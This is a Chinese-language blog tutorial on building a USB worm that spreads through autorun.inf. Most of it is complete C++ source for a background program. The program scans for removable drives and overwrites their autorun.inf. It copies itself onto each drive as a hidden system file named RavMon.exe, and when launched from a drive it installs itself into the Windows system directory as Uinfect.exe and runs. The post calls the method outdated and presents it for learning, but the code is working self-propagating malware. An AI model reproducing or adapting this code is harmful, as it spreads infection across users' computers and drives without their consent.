U盘病毒顾名思义就是通过U盘传播的病毒。自从发现U盘autorun.inf漏洞之后,U盘病毒的数量与日俱增。U盘病毒并不是只存在于U盘上,中毒的电脑每个分区下面同样有U盘病毒,电脑和U盘交叉传播。

本篇文章利用 autorun.inf 文件传播

autorun.inf文件介绍

autorun.inf是我们电脑使用中比较常见的文件之一 ,其作用是允许在双击磁盘时自动运行指定的某个文件。但是近几年出现了用autorun.inf文件传播木马或病毒,它通过使用者的误操作让目标程序执行,达到侵入电脑的目的,带来了很大的负面影响。

该方法已过时,传播方法多,这里入门方便学习

原理

该方法实现简单
大致原理插上U盘,删除原有autorun.inf文件,写入新autorun.inf文件,并复制自身.exe到U盘,隐藏权限

autorun.inf文件参数:open为启动.exe程序,相当于插上U盘启动U盘内RavMon.exe程序,看如下配置

代码例子

C++
这里用得Vc2019编译器

#include <windows.h> 
#include <string.h> 
#include <stdio.h>

char* autoRun = "[autorun]\
\naction=Open\
\nicon = %WinDir%\system32\shell32.dll, 4\
\nopen=RavMon.exe\
\nshell\\open=打开(&O)\
\nshell\\open\\Command=RavMon.exe\
\nshell\\explore=资源管理器(&X)\
\nshell\\explore\\Command=RavMon.exe\
\nshellexecute=RavMon.exe";

BOOL UDevice(); 
  
//void ResourceToFile(char  *filename,char *Name,char* Type); 
FILE* AutoRun;

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, 
     LPSTR lpCmdLine, int nShowCmd) 
 { 
     UDevice(); 
    return 0; 
 } 
  
 BOOL UDevice() 
 { 
      
     while(1) 
     { 
         char Name[256]="H:\\"; 
         char szName[256]; 
         char ToPath[256]; 
         char infPath[256]; 
         char OpenUDevice[79]; 
   
         UINT retType; 
       
         memset(szName, 0, 256); 
         memset(ToPath, 0, 256); 
         memset(infPath, 0, 256); 
         memset(OpenUDevice, 0, 79); 
      
      
     //do 
     //{ 
     //}while() 
      
     //遍历盘符 
         unsigned char i = 0x42; 
         for(; i < 0x5B; i += 0x1) 
         { 
           Name[0] = i; 
           retType = GetDriveType(Name); 
           //判断是否是可移动存储设备 
           if(retType == DRIVE_REMOVABLE) 
           { 
                //得到自身文件路径 
                GetModuleFileName(NULL, szName, 256); 
                //比较是否和U盘的盘符相同 
                if(strncmp(Name, szName, 1) == 0) 
                { 
                    //得到系统目录 
                   GetSystemDirectory(ToPath, 256); 
                   strcat(ToPath,"\\Uinfect.exe"); 
                   //把自身文件复制到系统目录 
                   if(CopyFile(szName, ToPath, TRUE)) 
                   { 
                       WinExec(ToPath, 0);//运行程序 
                   } 
  
                   strcpy(OpenUDevice, "explorer "); 
                   strcat(OpenUDevice, Name); 
                    
                   //打开U盘 
                   WinExec(OpenUDevice,1); 
                   return 0;   
                } 
                else 
                { 
                    strcpy(ToPath, Name); 
                    strcat(ToPath,"\\RavMon.exe"); 
                    strcpy(infPath,Name); 
                    strcat(infPath,"\\AutoRun.inf");                    
  
  
                    //还原U盘上的文件属性 
                    SetFileAttributes(ToPath,FILE_ATTRIBUTE_NORMAL); 
                    SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL); 

                    //删除原有文件 
                    DeleteFile(ToPath); 
                    DeleteFile(infPath);
                        
                    AutoRun = fopen(infPath, "w+");
                    if (AutoRun != NULL)
                    {                      
                        fputs(autoRun, AutoRun);
                        //写入autorun.inf文件
                    }
                    fclose(AutoRun);

                    //SetFileAttributes(FilePath, FILE_ATTRIBUTE_ARCHIVE | FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);


                    //释放AutoRun.inf到U盘 
                    //ResourceToFile(infPath, (char*)0x64, (char*)256); 
                    
                    //拷贝自身文件到U盘                    
                    CopyFile(szName,ToPath,FALSE); 
                    
                    //把这两个文件设置成系统,隐藏属性 
                     
                    
                    SetFileAttributes(ToPath, 0x6); 
                    SetFileAttributes(infPath, 0x6); 
                } 
           } 
         } 
         //一分钟检测一次U盘 
         Sleep(20000); 
     } 
     
 } 
  

  
void ResourceToFile(char  *filename,char *Name,char* Type) 
{   
     
    //寻找自身进程中的资源 
    HRSRC hRes = FindResource(NULL,Name,Type); 
    if(hRes==NULL) 
        return; 
    //导入资源 
    HGLOBAL hgRes = LoadResource(NULL, hRes); 
    if(hgRes==NULL) 
        return; 
    //锁定资源 
    void *pRes = LockResource(hgRes); 
    if(pRes==NULL) 
        return; 
    //得到资源字节数 
    DWORD size = SizeofResource(NULL, hRes); 
    if(size==0) 
        return; 
    //创建文件 
    HANDLE hFile = CreateFile(filename, 0x40000000, 0, 0, 
                     CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, 0); 
    if(hFile==INVALID_HANDLE_VALUE) 
        return; 
    DWORD dwWrite; 
    //把资源写入到文件 
    if(!WriteFile(hFile, pRes, size, &dwWrite, 0)) 
        return; 
    //关闭文件句柄 
    CloseHandle(hFile); 
    //释放资源 
    GlobalFree(hgRes); 
}

效果

编译后软件以后台运行,插上U盘自动写入AutoRun.inf 隐藏文件 和 复制自身RavMon.exe 到U盘

usb1.PNG

最后修改:2021 年 07 月 28 日
如果觉得我的文章对你有用,请随意赞赏